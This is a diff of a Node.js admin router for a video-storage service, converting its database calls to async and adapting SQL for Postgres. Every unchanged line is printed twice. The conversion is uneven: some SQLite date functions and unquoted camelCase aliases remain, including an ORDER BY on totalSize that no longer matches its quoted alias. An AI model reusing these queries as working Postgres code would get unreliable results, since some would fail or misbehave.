@@ -59,6 +83,8 @@ function bindMetrics(registry) {
@@ -59,6 +83,8 @@ function bindMetrics(registry) {
}
}
module.exports = {
module.exports = {
+ useValkey,
+ valkey: () => valkeyHandle,
limits,
limits,
/** [{ id, minute, hour }] for every limit the routes have declared, sorted by id. */
/** [{ id, minute, hour }] for every limit the routes have declared, sorted by id. */
registered: () => [...registered].map(([id, n]) => ({ id, ...n })).sort((x, y) => x.id.localeCompare(y.id)),
registered: () => [...registered].map(([id, n]) => ({ id, ...n })).sort((x, y) => x.id.localeCompare(y.id)),
@@ -86,10 +86,10 @@ function dirStatsRecursive(dirPath) {
@@ -86,10 +86,10 @@ function dirStatsRecursive(dirPath) {
return { bytes, files };
return { bytes, files };
}
}
-function _providerCounts(table, appId, withBytes) {
- const rows = db.all(`
+async function _providerCounts(table, appId, withBytes) {
+ const rows = await db.all(`
SELECT COALESCE(storage_provider, 'local') AS provider,
SELECT COALESCE(storage_provider, 'local') AS provider,
- COUNT(*) AS count${withBytes ? ', COALESCE(SUM(file_size), 0) AS bytes' : ''}
+ COUNT(*) AS count${withBytes ? ', COALESCE(SUM(file_size), 0)::bigint AS bytes' : ''}
FROM ${table} WHERE app_id = ?
FROM ${table} WHERE app_id = ?
GROUP BY COALESCE(storage_provider, 'local')
GROUP BY COALESCE(storage_provider, 'local')
`, [appId]);
`, [appId]);
@@ -99,7 +99,7 @@ function _providerCounts(table, appId, withBytes) {
@@ -99,7 +99,7 @@ function _providerCounts(table, appId, withBytes) {
}
}
// ── GET / — disk usage & per-directory breakdown ─────────────
// ── GET / — disk usage & per-directory breakdown ─────────────
-router.get('/', (req, res) => {
+router.get('/', async (req, res) => {
try {
try {
const disk = vodStorage.diskUsage(config.vod.path);
const disk = vodStorage.diskUsage(config.vod.path);
@@ -117,18 +117,18 @@ router.get('/', (req, res) => {
@@ -117,18 +117,18 @@ router.get('/', (req, res) => {
try { dbBytes = fs.statSync(config.db.path).size; } catch { /* */ }
try { dbBytes = fs.statSync(config.db.path).size; } catch { /* */ }
// App-scoped DB stats
// App-scoped DB stats
- const vodStats = db.get(`
- SELECT COUNT(*) AS count, COALESCE(SUM(file_size), 0) AS bytes,
+ const vodStats = await db.get(`
+ SELECT COUNT(*) AS count, COALESCE(SUM(file_size), 0)::bigint AS bytes,
COALESCE(MIN(created_at), '') AS oldest, COALESCE(MAX(created_at), '') AS newest
COALESCE(MIN(created_at), '') AS oldest, COALESCE(MAX(created_at), '') AS newest
FROM vods WHERE app_id = ?
FROM vods WHERE app_id = ?
`, [req.appId]) || {};
`, [req.appId]) || {};
- const clipStats = db.get('SELECT COUNT(*) AS count FROM clips WHERE app_id = ?', [req.appId]) || {};
- const pasteStats = db.get(`
+ const clipStats = await db.get('SELECT COUNT(*) AS count FROM clips WHERE app_id = ?', [req.appId]) || {};
+ const pasteStats = await db.get(`
SELECT COUNT(*) AS count,
SELECT COUNT(*) AS count,
SUM(CASE WHEN type = 'screenshot' THEN 1 ELSE 0 END) AS screenshots
SUM(CASE WHEN type = 'screenshot' THEN 1 ELSE 0 END) AS screenshots
FROM pastes WHERE app_id = ?
FROM pastes WHERE app_id = ?
`, [req.appId]) || {};
`, [req.appId]) || {};
- const fileStats = db.get('SELECT COUNT(*) AS count, COALESCE(SUM(size), 0) AS bytes FROM files WHERE app_id = ?', [req.appId]) || {};
+ const fileStats = await db.get('SELECT COUNT(*) AS count, COALESCE(SUM(size), 0)::bigint AS bytes FROM files WHERE app_id = ?', [req.appId]) || {};
res.json({
res.json({
app_id: req.appId,
app_id: req.appId,
@@ -141,8 +141,8 @@ router.get('/', (req, res) => {
@@ -141,8 +141,8 @@ router.get('/', (req, res) => {
pasteStats,
pasteStats,
fileStats,
fileStats,
byProvider: {
byProvider: {
- vods: _providerCounts('vods', req.appId, true),
- clips: _providerCounts('clips', req.appId, false), // clips carry no file_size column
+ vods: await _providerCounts('vods', req.appId, true),
+ clips: await _providerCounts('clips', req.appId, false), // clips carry no file_size column
},
},
});
});
} catch (err) {
} catch (err) {
@@ -154,7 +154,7 @@ router.get('/', (req, res) => {
@@ -154,7 +154,7 @@ router.get('/', (req, res) => {
// ── GET /vods — detailed VOD listing ─────────────────────────
// ── GET /vods — detailed VOD listing ─────────────────────────
const PROVIDER_ALIASES = { hot: 'local', local: 'local', cold: 'b2', b2: 'b2', r2: 'r2' };
const PROVIDER_ALIASES = { hot: 'local', local: 'local', cold: 'b2', b2: 'b2', r2: 'r2' };
-router.get('/vods', (req, res) => {
+router.get('/vods', async (req, res) => {
try {
try {
const sort = req.query.sort || 'size'; // size, date, duration, tier, views, accessed
const sort = req.query.sort || 'size'; // size, date, duration, tier, views, accessed
const order = String(req.query.order || 'desc').toLowerCase() === 'asc' ? 'ASC' : 'DESC';
const order = String(req.query.order || 'desc').toLowerCase() === 'asc' ? 'ASC' : 'DESC';
@@ -178,7 +178,7 @@ router.get('/vods', (req, res) => {
@@ -178,7 +178,7 @@ router.get('/vods', (req, res) => {
const providerFilter = PROVIDER_ALIASES[String(req.query.provider || req.query.tier || '').toLowerCase()];
const providerFilter = PROVIDER_ALIASES[String(req.query.provider || req.query.tier || '').toLowerCase()];
if (providerFilter) { conds.push("COALESCE(storage_provider, 'local') = ?"); params.push(providerFilter); }
if (providerFilter) { conds.push("COALESCE(storage_provider, 'local') = ?"); params.push(providerFilter); }
- const vods = db.all(`
+ const vods = await db.all(`
SELECT id, title, file_path, file_size, duration_seconds, is_public, visibility,
SELECT id, title, file_path, file_size, duration_seconds, is_public, visibility,
is_recording, clips_only, created_at, view_count, health_status,
is_recording, clips_only, created_at, view_count, health_status,
storage_provider, storage_tier, storage_key, last_accessed_at,
storage_provider, storage_tier, storage_key, last_accessed_at,
@@ -188,7 +188,7 @@ router.get('/vods', (req, res) => {
@@ -188,7 +188,7 @@ router.get('/vods', (req, res) => {
ORDER BY ${orderBy}
ORDER BY ${orderBy}
LIMIT ? OFFSET ?
LIMIT ? OFFSET ?
`, [...params, limit, offset]);
`, [...params, limit, offset]);
- const total = db.get(`SELECT COUNT(*) AS c FROM vods WHERE ${conds.join(' AND ')}`, params).c;
+ const total = (await db.get(`SELECT COUNT(*) AS c FROM vods WHERE ${conds.join(' AND ')}`, params)).c;
// Reconcile DB tier with what's actually on disk / in object storage.
// Reconcile DB tier with what's actually on disk / in object storage.
const enriched = vods.map(v => {
const enriched = vods.map(v => {
@@ -210,8 +210,8 @@ router.get('/vods', (req, res) => {
@@ -210,8 +210,8 @@ router.get('/vods', (req, res) => {
});
});
// Per-user summary (app-local user ids; Media holds no user profiles)
// Per-user summary (app-local user ids; Media holds no user profiles)
- const userSummary = db.all(`
- SELECT user_id, COUNT(*) AS vodCount, COALESCE(SUM(file_size), 0) AS totalSize
+ const userSummary = await db.all(`
+ SELECT user_id, COUNT(*) AS "vodCount", COALESCE(SUM(file_size), 0)::bigint AS "totalSize"
FROM vods WHERE app_id = ?
FROM vods WHERE app_id = ?
GROUP BY user_id
GROUP BY user_id
ORDER BY totalSize DESC
ORDER BY totalSize DESC
@@ -242,9 +242,9 @@ router.delete('/vods/bulk', async (req, res) => {
@@ -242,9 +242,9 @@ router.delete('/vods/bulk', async (req, res) => {
const id = parseInt(rawId, 10);
const id = parseInt(rawId, 10);
const result = { id: Number.isFinite(id) ? id : rawId, ok: false };
const result = { id: Number.isFinite(id) ? id : rawId, ok: false };
try {
try {
- const vod = Number.isFinite(id) ? db.getVodById(id, req.appId) : null;
+ const vod = Number.isFinite(id) ? await db.getVodById(id, req.appId) : null;
if (!vod) { result.error = 'VOD not found'; results.push(result); continue; }
if (!vod) { result.error = 'VOD not found'; results.push(result); continue; }
- if (require('../objects/model').isHeldRow(vod)) { result.error = 'VOD is under a retention hold'; results.push(result); continue; }
+ if (await require('../objects/model').isHeldRow(vod)) { result.error = 'VOD is under a retention hold'; results.push(result); continue; }
if (recorder.isRecording(vod.id)) recorder.stopRecording(vod.id);
if (recorder.isRecording(vod.id)) recorder.stopRecording(vod.id);
try { require('../vod/routes').activeChunkUploads.delete(vod.id); } catch { /* */ }
try { require('../vod/routes').activeChunkUploads.delete(vod.id); } catch { /* */ }
@@ -262,8 +262,8 @@ router.delete('/vods/bulk', async (req, res) => {
@@ -262,8 +262,8 @@ router.delete('/vods/bulk', async (req, res) => {
try { if (fs.existsSync(thumbFile)) fs.unlinkSync(thumbFile); } catch { /* */ }
try { if (fs.existsSync(thumbFile)) fs.unlinkSync(thumbFile); } catch { /* */ }
}
}
- db.run('DELETE FROM vods WHERE id = ?', [vod.id]);
- db.run("DELETE FROM content_views WHERE content_type = 'vod' AND content_id = ?", [vod.id]);
+ await db.run('DELETE FROM vods WHERE id = ?', [vod.id]);
+ await db.run("DELETE FROM content_views WHERE content_type = 'vod' AND content_id = ?", [vod.id]);
result.ok = true;
result.ok = true;
deleted++;
deleted++;
} catch (err) {
} catch (err) {
@@ -285,25 +285,25 @@ router.delete('/vods/bulk', async (req, res) => {
@@ -285,25 +285,25 @@ router.delete('/vods/bulk', async (req, res) => {
// ═══════════════════════════════════════════════════════════════
// ═══════════════════════════════════════════════════════════════
// ── GET /tiers — tier/offload status ─────────────────────────
// ── GET /tiers — tier/offload status ─────────────────────────
-router.get('/tiers', (req, res) => {
+router.get('/tiers', async (req, res) => {
try {
try {
- const status = vodStorage.getStatus(); // settings, providers, disk, global tier counts, sweepRunning
+ const status = await vodStorage.getStatus(); // settings, providers, disk, global tier counts, sweepRunning
// App-scoped tier counts
// App-scoped tier counts
- const appCounts = db.get(`
+ const appCounts = await db.get(`
SELECT
SELECT
- SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN 1 ELSE 0 END) AS localCount,
+ SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN 1 ELSE 0 END) AS "localCount",
SUM(CASE WHEN storage_provider = 'b2' THEN 1 ELSE 0 END) AS b2Count,
SUM(CASE WHEN storage_provider = 'b2' THEN 1 ELSE 0 END) AS b2Count,
SUM(CASE WHEN storage_provider = 'r2' THEN 1 ELSE 0 END) AS r2Count,
SUM(CASE WHEN storage_provider = 'r2' THEN 1 ELSE 0 END) AS r2Count,
- SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN file_size ELSE 0 END) AS localBytes,
- SUM(CASE WHEN storage_provider = 'b2' THEN file_size ELSE 0 END) AS b2Bytes,
- SUM(CASE WHEN storage_provider = 'r2' THEN file_size ELSE 0 END) AS r2Bytes
+ SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN file_size ELSE 0 END)::bigint AS "localBytes",
+ SUM(CASE WHEN storage_provider = 'b2' THEN file_size ELSE 0 END)::bigint AS b2Bytes,
+ SUM(CASE WHEN storage_provider = 'r2' THEN file_size ELSE 0 END)::bigint AS r2Bytes
FROM vods WHERE app_id = ?
FROM vods WHERE app_id = ?
`, [req.appId]) || {};
`, [req.appId]) || {};
// VODs of this app currently eligible for the next cold-offload sweep
// VODs of this app currently eligible for the next cold-offload sweep
const s = status.settings;
const s = status.settings;
- const pendingOffload = db.get(`
+ const pendingOffload = (await db.get(`
SELECT COUNT(*) AS c FROM vods
SELECT COUNT(*) AS c FROM vods
WHERE app_id = ?
WHERE app_id = ?
AND COALESCE(storage_provider, 'local') = 'local'
AND COALESCE(storage_provider, 'local') = 'local'
@@ -311,7 +311,7 @@ router.get('/tiers', (req, res) => {
@@ -311,7 +311,7 @@ router.get('/tiers', (req, res) => {
AND created_at <= datetime('now', ?)
AND created_at <= datetime('now', ?)
AND COALESCE(view_count, 0) <= ?
AND COALESCE(view_count, 0) <= ?
AND (last_accessed_at IS NULL OR last_accessed_at <= datetime('now', ?))
AND (last_accessed_at IS NULL OR last_accessed_at <= datetime('now', ?))
- `, [req.appId, `-${s.minAgeDays} days`, s.maxViewsForCold, `-${s.minLastAccessDays} days`])?.c || 0;
+ `, [req.appId, `-${s.minAgeDays} days`, s.maxViewsForCold, `-${s.minLastAccessDays} days`]))?.c || 0;
res.json({
res.json({
...status,
...status,
@@ -380,12 +380,12 @@ function _decisionPublic(r) {
@@ -380,12 +380,12 @@ function _decisionPublic(r) {
};
};
}
}
-router.get('/tiers/policy', (req, res) => {
+router.get('/tiers/policy', async (req, res) => {
try {
try {
- const status = vodStorage.getStatus();
+ const status = await vodStorage.getStatus();
const counts = { promote: { done: 0, already: 0, refused: 0, failed: 0 }, demote: { done: 0, already: 0, refused: 0, failed: 0 } };
const counts = { promote: { done: 0, already: 0, refused: 0, failed: 0 }, demote: { done: 0, already: 0, refused: 0, failed: 0 } };
- for (const r of db.all(`SELECT action, outcome, COUNT(*) AS n FROM media_tier_decisions
- WHERE app_id = ? AND decided_at >= strftime('%Y-%m-%dT%H:%M:%fZ', 'now', '-1 day') GROUP BY action, outcome`, [req.appId])) {
+ for (const r of await db.all(`SELECT action, outcome, COUNT(*) AS n FROM media_tier_decisions
+ WHERE app_id = ? AND decided_at >= ov_now_iso('-1 day') GROUP BY action, outcome`, [req.appId])) {
if (counts[r.action]) counts[r.action][r.outcome] = r.n;
if (counts[r.action]) counts[r.action][r.outcome] = r.n;
}
}
res.json({
res.json({
@@ -397,7 +397,7 @@ router.get('/tiers/policy', (req, res) => {
@@ -397,7 +397,7 @@ router.get('/tiers/policy', (req, res) => {
},
},
decisions: {
decisions: {
last_24h: counts,
last_24h: counts,
- recent: db.all('SELECT * FROM media_tier_decisions WHERE app_id = ? ORDER BY id DESC LIMIT 20', [req.appId]).map(_decisionPublic),
+ recent: (await db.all('SELECT * FROM media_tier_decisions WHERE app_id = ? ORDER BY id DESC LIMIT 20', [req.appId])).map(_decisionPublic),
},
},
note: 'Read-only. Thresholds change through PUT /tiers/settings (media_settings storage_tier.*); decisions are this app\'s only.',
note: 'Read-only. Thresholds change through PUT /tiers/settings (media_settings storage_tier.*); decisions are this app\'s only.',
});
});
@@ -407,7 +407,7 @@ router.get('/tiers/policy', (req, res) => {
@@ -407,7 +407,7 @@ router.get('/tiers/policy', (req, res) => {
}
}
});
});
-router.get('/tiers/decisions', (req, res) => {
+router.get('/tiers/decisions', async (req, res) => {
try {
try {
const q = req.query;
const q = req.query;
const conds = ['app_id = ?'], params = [req.appId];
const conds = ['app_id = ?'], params = [req.appId];
@@ -422,7 +422,7 @@ router.get('/tiers/decisions', (req, res) => {
@@ -422,7 +422,7 @@ router.get('/tiers/decisions', (req, res) => {
}
}
if (q.before_id != null) { conds.push('id < ?'); params.push(parseInt(q.before_id, 10) || 0); }
if (q.before_id != null) { conds.push('id < ?'); params.push(parseInt(q.before_id, 10) || 0); }
const limit = Math.min(Math.max(parseInt(q.limit, 10) || 50, 1), 200);
const limit = Math.min(Math.max(parseInt(q.limit, 10) || 50, 1), 200);
- const rows = db.all(`SELECT * FROM media_tier_decisions WHERE ${conds.join(' AND ')} ORDER BY id DESC LIMIT ?`, [...params, limit + 1]);
+ const rows = await db.all(`SELECT * FROM media_tier_decisions WHERE ${conds.join(' AND ')} ORDER BY id DESC LIMIT ?`, [...params, limit + 1]);
const page = rows.slice(0, limit);
const page = rows.slice(0, limit);
res.json({ decisions: page.map(_decisionPublic), next_before_id: rows.length > limit ? page[page.length - 1].id : null, limit });
res.json({ decisions: page.map(_decisionPublic), next_before_id: rows.length > limit ? page[page.length - 1].id : null, limit });
} catch (err) {
} catch (err) {
@@ -436,7 +436,7 @@ router.get('/tiers/decisions', (req, res) => {
@@ -436,7 +436,7 @@ router.get('/tiers/decisions', (req, res) => {
// its activation gate (`active`) is off, and logs what it would do as dry_run decisions.
// its activation gate (`active`) is off, and logs what it would do as dry_run decisions.
const objectTiers = () => require('../objects/tiering');
const objectTiers = () => require('../objects/tiering');
-router.get('/tiers/objects/policy', (req, res) => {
+router.get('/tiers/objects/policy', async (req, res) => {
try {
try {
const policy = require('../objects/tier-policy');
const policy = require('../objects/tier-policy');
const settings = policy.settings();
const settings = policy.settings();
@@ -445,8 +445,8 @@ router.get('/tiers/objects/policy', (req, res) => {
@@ -445,8 +445,8 @@ router.get('/tiers/objects/policy', (req, res) => {
thresholds: policy.thresholds(settings),
thresholds: policy.thresholds(settings),
rules: policy.describe(settings),
rules: policy.describe(settings),
provider: { r2: { configured: vodStorage.providerConfigured('r2'), available: vodStorage.providerAvailable('r2') } },
provider: { r2: { configured: vodStorage.providerConfigured('r2'), available: vodStorage.providerAvailable('r2') } },
- candidates: objectTiers().candidates({ appId: req.appId, limit: req.query.limit, settings }),
- decisions: { last_24h: objectTiers().counts24h(req.appId), recent: objectTiers().listDecisions({ appId: req.appId, limit: 20 }).decisions },
+ candidates: await objectTiers().candidates({ appId: req.appId, limit: req.query.limit, settings }),
+ decisions: { last_24h: await objectTiers().counts24h(req.appId), recent: (await objectTiers().listDecisions({ appId: req.appId, limit: 20 })).decisions },
note: 'Read-only. The policy (media.object_tier) changes through /config/media.object_tier; candidates and decisions are this app\'s only.',
note: 'Read-only. The policy (media.object_tier) changes through /config/media.object_tier; candidates and decisions are this app\'s only.',
});
});
} catch (err) {
} catch (err) {
@@ -455,12 +455,12 @@ router.get('/tiers/objects/policy', (req, res) => {
@@ -455,12 +455,12 @@ router.get('/tiers/objects/policy', (req, res) => {
}
}
});
});
-router.get('/tiers/objects/decisions', (req, res) => {
+router.get('/tiers/objects/decisions', async (req, res) => {
try {
try {
const q = req.query;
const q = req.query;
if (q.action && !['promote', 'demote'].includes(String(q.action))) return res.status(400).json({ error: 'action must be promote or demote' });
if (q.action && !['promote', 'demote'].includes(String(q.action))) return res.status(400).json({ error: 'action must be promote or demote' });
if (q.outcome && !objectTiers().OUTCOMES.includes(String(q.outcome))) return res.status(400).json({ error: `outcome must be one of ${objectTiers().OUTCOMES.join(', ')}` });
if (q.outcome && !objectTiers().OUTCOMES.includes(String(q.outcome))) return res.status(400).json({ error: `outcome must be one of ${objectTiers().OUTCOMES.join(', ')}` });
- res.json(objectTiers().listDecisions({ appId: req.appId, objectId: q.object_id ? String(q.object_id) : null, action: q.action ? String(q.action) : null,
+ res.json(await objectTiers().listDecisions({ appId: req.appId, objectId: q.object_id ? String(q.object_id) : null, action: q.action ? String(q.action) : null,
outcome: q.outcome ? String(q.outcome) : null, beforeId: q.before_id != null ? parseInt(q.before_id, 10) || 0 : null, limit: q.limit }));
outcome: q.outcome ? String(q.outcome) : null, beforeId: q.before_id != null ? parseInt(q.before_id, 10) || 0 : null, limit: q.limit }));
} catch (err) {
} catch (err) {
console.error('[Admin] Object tier decisions error:', err.message);
console.error('[Admin] Object tier decisions error:', err.message);
@@ -483,16 +483,16 @@ router.post('/tiers/sweep', async (req, res) => {
@@ -483,16 +483,16 @@ router.post('/tiers/sweep', async (req, res) => {
// target → mover (predecessor's hot/cold vocabulary kept as aliases)
// target → mover (predecessor's hot/cold vocabulary kept as aliases)
// ctx { trigger, reason } goes into the R2 decision log (media_tier_decisions) for moves into or out of R2.
// ctx { trigger, reason } goes into the R2 decision log (media_tier_decisions) for moves into or out of R2.
const MOVERS = {
const MOVERS = {
- local: (id, ctx) => vodStorage.moveToHot(id, ctx),
- hot: (id, ctx) => vodStorage.moveToHot(id, ctx),
- b2: (id) => vodStorage.moveToCold(id),
- cold: (id) => vodStorage.moveToCold(id),
- r2: (id, ctx) => vodStorage.promoteToR2(id, ctx),
+ local: async (id, ctx) => await vodStorage.moveToHot(id, ctx),
+ hot: async (id, ctx) => await vodStorage.moveToHot(id, ctx),
+ b2: async (id) => await vodStorage.moveToCold(id),
+ cold: async (id) => await vodStorage.moveToCold(id),
+ r2: async (id, ctx) => await vodStorage.promoteToR2(id, ctx),
};
};
async function _moveScoped(appId, rawId, target) {
async function _moveScoped(appId, rawId, target) {
const id = parseInt(rawId, 10);
const id = parseInt(rawId, 10);
- if (!Number.isFinite(id) || !db.getVodById(id, appId)) return { ok: false, error: 'VOD not found' };
+ if (!Number.isFinite(id) || !await db.getVodById(id, appId)) return { ok: false, error: 'VOD not found' };
return MOVERS[target](id, { trigger: 'admin', reason: `admin move to ${target} (app ${appId})` });
return MOVERS[target](id, { trigger: 'admin', reason: `admin move to ${target} (app ${appId})` });
}
}
@@ -556,59 +556,59 @@ function _staffOnly(req, res) {
@@ -556,59 +556,59 @@ function _staffOnly(req, res) {
* The object a hold request names, in this app: { obj } | { error, status }. object_id is a med_ id or a
* The object a hold request names, in this app: { obj } | { error, status }. object_id is a med_ id or a
* legacy ref; vod_id / clip_id name a v1 row, which is projected first when it has no object yet.
* legacy ref; vod_id / clip_id name a v1 row, which is projected first when it has no object yet.
*/
*/
-function _holdTarget(appId, b, { project = true } = {}) {
+async function _holdTarget(appId, b, { project = true } = {}) {
const m = objectsModel();
const m = objectsModel();
if (b.object_id != null && b.object_id !== '') {
if (b.object_id != null && b.object_id !== '') {
- const obj = m.resolveObject(String(b.object_id), appId);
+ const obj = await m.resolveObject(String(b.object_id), appId);
return obj ? { obj } : { status: 404, error: 'No such object in this app' };
return obj ? { obj } : { status: 404, error: 'No such object in this app' };
}
}
for (const [field, table, kind] of [['vod_id', 'vods', 'vod'], ['clip_id', 'clips', 'clip']]) {
for (const [field, table, kind] of [['vod_id', 'vods', 'vod'], ['clip_id', 'clips', 'clip']]) {
if (b[field] == null || b[field] === '') continue;
if (b[field] == null || b[field] === '') continue;
const id = parseInt(b[field], 10);
const id = parseInt(b[field], 10);
- const row = Number.isFinite(id) ? db.get(`SELECT id, object_id FROM ${table} WHERE id = ? AND app_id = ?`, [id, appId]) : null;
+ const row = Number.isFinite(id) ? await db.get(`SELECT id, object_id FROM ${table} WHERE id = ? AND app_id = ?`, [id, appId]) : null;
if (!row) return { status: 404, error: `${kind === 'vod' ? 'VOD' : 'Clip'} not found` };
if (!row) return { status: 404, error: `${kind === 'vod' ? 'VOD' : 'Clip'} not found` };
let objectId = row.object_id;
let objectId = row.object_id;
- if (!objectId && project) { const r = m.safeSync(kind, id); objectId = r && r.id; }
+ if (!objectId && project) { const r = await m.safeSync(kind, id); objectId = r && r.id; }
if (!objectId) return { status: 409, error: `${kind} ${id} has no media object to hold (a clips-only recording is never published)` };
if (!objectId) return { status: 409, error: `${kind} ${id} has no media object to hold (a clips-only recording is never published)` };
- return { obj: m.getObject(objectId) };
+ return { obj: await m.getObject(objectId) };
}
}
return { status: 400, error: 'object_id, vod_id or clip_id required' };
return { status: 400, error: 'object_id, vod_id or clip_id required' };
}
}
/** A hold with the object it is on and, for a VOD, how many clips cut from it it protects. */
/** A hold with the object it is on and, for a VOD, how many clips cut from it it protects. */
-function _holdOut(h) {
+async function _holdOut(h) {
const m = objectsModel();
const m = objectsModel();
- const obj = m.getObject(h.object_id);
+ const obj = await m.getObject(h.object_id);
const out = { ...m.holdPublic(h), object: obj ? { id: obj.id, kind: obj.kind, legacy_ref: obj.legacy_ref || null, lifecycle_status: obj.lifecycle_status } : null };
const out = { ...m.holdPublic(h), object: obj ? { id: obj.id, kind: obj.kind, legacy_ref: obj.legacy_ref || null, lifecycle_status: obj.lifecycle_status } : null };
if (obj && obj.kind === 'vod') {
if (obj && obj.kind === 'vod') {
- out.clips_protected = db.get(`SELECT COUNT(*) AS n FROM clips c WHERE c.vod_id IN (SELECT id FROM vods WHERE object_id = @o)
- OR c.object_id IN (SELECT from_object_id FROM media_relationships WHERE to_object_id = @o AND relation = 'clip_of')`, { o: obj.id }).n;
+ out.clips_protected = (await db.get(`SELECT COUNT(*) AS n FROM clips c WHERE c.vod_id IN (SELECT id FROM vods WHERE object_id = @o)
+ OR c.object_id IN (SELECT from_object_id FROM media_relationships WHERE to_object_id = @o AND relation = 'clip_of')`, { o: obj.id })).n;
}
}
return out;
return out;
}
}
-router.get('/holds', (req, res) => {
+router.get('/holds', async (req, res) => {
try {
try {
const q = req.query;
const q = req.query;
const conds = ['o.app_id = ?'], params = [req.appId];
const conds = ['o.app_id = ?'], params = [req.appId];
if (!['1', 'true'].includes(String(q.all || ''))) conds.push('h.released_at IS NULL');
if (!['1', 'true'].includes(String(q.all || ''))) conds.push('h.released_at IS NULL');
if (q.object_id != null || q.vod_id != null || q.clip_id != null) {
if (q.object_id != null || q.vod_id != null || q.clip_id != null) {
- const t = _holdTarget(req.appId, { object_id: q.object_id, vod_id: q.vod_id, clip_id: q.clip_id }, { project: false });
+ const t = await _holdTarget(req.appId, { object_id: q.object_id, vod_id: q.vod_id, clip_id: q.clip_id }, { project: false });
if (!t.obj) return res.status(t.status).json({ error: t.error });
if (!t.obj) return res.status(t.status).json({ error: t.error });
conds.push('h.object_id = ?'); params.push(t.obj.id);
conds.push('h.object_id = ?'); params.push(t.obj.id);
}
}
if (q.before_id != null) { conds.push('h.id < ?'); params.push(parseInt(q.before_id, 10) || 0); }
if (q.before_id != null) { conds.push('h.id < ?'); params.push(parseInt(q.before_id, 10) || 0); }
const limit = Math.min(Math.max(parseInt(q.limit, 10) || 50, 1), 200);
const limit = Math.min(Math.max(parseInt(q.limit, 10) || 50, 1), 200);
- const rows = db.all(`SELECT h.* FROM media_holds h JOIN media_objects o ON o.id = h.object_id WHERE ${conds.join(' AND ')} ORDER BY h.id DESC LIMIT ?`, [...params, limit + 1]);
+ const rows = await db.all(`SELECT h.* FROM media_holds h JOIN media_objects o ON o.id = h.object_id WHERE ${conds.join(' AND ')} ORDER BY h.id DESC LIMIT ?`, [...params, limit + 1]);
const page = rows.slice(0, limit);
const page = rows.slice(0, limit);
- res.json({ holds: page.map(_holdOut), next_before_id: rows.length > limit ? page[page.length - 1].id : null, limit });
+ res.json({ holds: (await Promise.all(page.map(_holdOut))), next_before_id: rows.length > limit ? page[page.length - 1].id : null, limit });
} catch (err) {
} catch (err) {
console.error('[Admin] Hold list error:', err.message);
console.error('[Admin] Hold list error:', err.message);
res.status(500).json({ error: 'Failed to list holds' });
res.status(500).json({ error: 'Failed to list holds' });
}
}
});
});
-router.post('/holds', (req, res) => {
+router.post('/holds', async (req, res) => {
try {
try {
if (!_staffOnly(req, res)) return;
if (!_staffOnly(req, res)) return;
const b = req.body || {};
const b = req.body || {};
@@ -617,11 +617,11 @@ router.post('/holds', (req, res) => {
@@ -617,11 +617,11 @@ router.post('/holds', (req, res) => {
if (!m.HOLD_KINDS.includes(kind)) return res.status(400).json({ error: `kind must be one of ${m.HOLD_KINDS.join(', ')}` });
if (!m.HOLD_KINDS.includes(kind)) return res.status(400).json({ error: `kind must be one of ${m.HOLD_KINDS.join(', ')}` });
const reason = String(b.reason || '').trim();
const reason = String(b.reason || '').trim();
if (!reason) return res.status(400).json({ error: 'reason required (why the object must be kept)' });
if (!reason) return res.status(400).json({ error: 'reason required (why the object must be kept)' });
- const t = _holdTarget(req.appId, b);
+ const t = await _holdTarget(req.appId, b);
if (!t.obj) return res.status(t.status).json({ error: t.error });
if (!t.obj) return res.status(t.status).json({ error: t.error });
const by = String(b.placed_by || b.created_by || `app:${req.appId}`).slice(0, 200);
const by = String(b.placed_by || b.created_by || `app:${req.appId}`).slice(0, 200);
- const hold = m.placeHold({ object_id: t.obj.id, kind, reason, created_by: by, note: b.note });
- const out = _holdOut(hold);
+ const hold = await m.placeHold({ object_id: t.obj.id, kind, reason, created_by: by, note: b.note });
+ const out = await _holdOut(hold);
console.log(`[Admin] Retention hold ${hold.id} placed on ${t.obj.id} (${t.obj.legacy_ref || t.obj.kind}) by ${by} (${req.appId}): ${kind}, ${JSON.stringify(reason.slice(0, 200))}`
console.log(`[Admin] Retention hold ${hold.id} placed on ${t.obj.id} (${t.obj.legacy_ref || t.obj.kind}) by ${by} (${req.appId}): ${kind}, ${JSON.stringify(reason.slice(0, 200))}`
+ (out.clips_protected ? `; protects ${out.clips_protected} clip(s) cut from it` : ''));
+ (out.clips_protected ? `; protects ${out.clips_protected} clip(s) cut from it` : ''));
res.status(201).json(out);
res.status(201).json(out);
@@ -631,15 +631,15 @@ router.post('/holds', (req, res) => {
@@ -631,15 +631,15 @@ router.post('/holds', (req, res) => {
}
}
});
});
-function _releaseHold(req, res) {
+async function _releaseHold(req, res) {
try {
try {
if (!_staffOnly(req, res)) return;
if (!_staffOnly(req, res)) return;
- const hold = db.get('SELECT h.* FROM media_holds h JOIN media_objects o ON o.id = h.object_id WHERE h.id = ? AND o.app_id = ?',
+ const hold = await db.get('SELECT h.* FROM media_holds h JOIN media_objects o ON o.id = h.object_id WHERE h.id = ? AND o.app_id = ?',
[parseInt(req.params.holdId, 10) || 0, req.appId]);
[parseInt(req.params.holdId, 10) || 0, req.appId]);
if (!hold) return res.status(404).json({ error: 'No such hold in this app' });
if (!hold) return res.status(404).json({ error: 'No such hold in this app' });
- if (hold.released_at) return res.status(409).json({ error: 'The hold was released already', code: 'media.hold.released', hold: _holdOut(hold) });
+ if (hold.released_at) return res.status(409).json({ error: 'The hold was released already', code: 'media.hold.released', hold: await _holdOut(hold) });
const by = String((req.body && req.body.released_by) || `app:${req.appId}`).slice(0, 200);
const by = String((req.body && req.body.released_by) || `app:${req.appId}`).slice(0, 200);
- const out = _holdOut(objectsModel().releaseHold(hold.id, by));
+ const out = await _holdOut(await objectsModel().releaseHold(hold.id, by));
console.log(`[Admin] Retention hold ${hold.id} on ${hold.object_id} released by ${by} (${req.appId})`);
console.log(`[Admin] Retention hold ${hold.id} on ${hold.object_id} released by ${by} (${req.appId})`);
res.json(out);
res.json(out);
} catch (err) {
} catch (err) {
@@ -663,10 +663,10 @@ function _opsStaffOnly(req, res) {
@@ -663,10 +663,10 @@ function _opsStaffOnly(req, res) {
// GET /ops?limit — failed jobs, missing media, backfill status, tiering diagnostics and the namespaces'
// GET /ops?limit — failed jobs, missing media, backfill status, tiering diagnostics and the namespaces'
// usage snapshot of this app (server/me/ops.js; the sweep and the provider switches are service-wide).
// usage snapshot of this app (server/me/ops.js; the sweep and the provider switches are service-wide).
-router.get('/ops', (req, res) => {
